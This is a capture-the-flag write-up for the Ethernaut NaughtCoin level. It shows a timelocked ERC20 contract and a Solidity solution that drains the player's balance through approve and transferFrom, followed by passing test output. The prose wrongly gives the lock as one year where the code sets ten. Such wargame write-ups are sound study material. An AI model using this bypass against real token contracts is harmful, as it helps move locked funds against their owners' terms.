Ethernaut 15: NaughtCoin
Objective
Get the player's balance to zero.
Code
1contract NaughtCoin is ERC20 {
2 // string public constant name = 'NaughtCoin';
3 // string public constant symbol = '0x0';
4 // uint public constant decimals = 18;
5 uint256 public timeLock = block.timestamp + 10 * 365 days;
6 uint256 public INITIAL_SUPPLY;
7 address public player;
8
9 constructor(address _player) ERC20("NaughtCoin", "0x0") {
10 player = _player;
11 INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
12 // _totalSupply = INITIAL_SUPPLY;
13 // _balances[player] = INITIAL_SUPPLY;
14 _mint(player, INITIAL_SUPPLY);
15 emit Transfer(address(0), player, INITIAL_SUPPLY);
16 }
17
18 function transfer(
19 address _to,
20 uint256 _value
21 ) public override lockTokens returns (bool) {
22 return super.transfer(_to, _value);
23 }
24
25 // Prevent the initial owner from transferring
26 // tokens until the timelock has passed
27 modifier lockTokens() {
28 if (msg.sender == player) {
29 require(block.timestamp > timeLock);
30 _;
31 } else {
32 _;
33 }
34 }
35}
This contract has a timelock, preventing the user from transferring tokens out until a year from deployment.
Solution
The ERC20 standard has two ways to move tokens:
- transferFrom
- transfer
and only the latter is overriden from the default implementation to prevent funds moving before the timelock elapses. Therefore, using the transferFrom method is enough to get around it.
function solution(address payable target_) internal override{
uint256 amount = 1000000 * (10 ** 18);
NaughtCoin target = NaughtCoin(target_);
target.approve(attacker, amount);
target.transferFrom(attacker, address(this), amount);
}
[I] () capu ~/s/ethernaut-solutions (master)> forge test --mc NaughtCoin
[ā ] Compiling...
No files changed, compilation skipped
Running 1 test for test/15-NaughtCoin.t.sol:NaughtCoinSolution
[PASS] testSolution() (gas: 4009231)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.44ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
š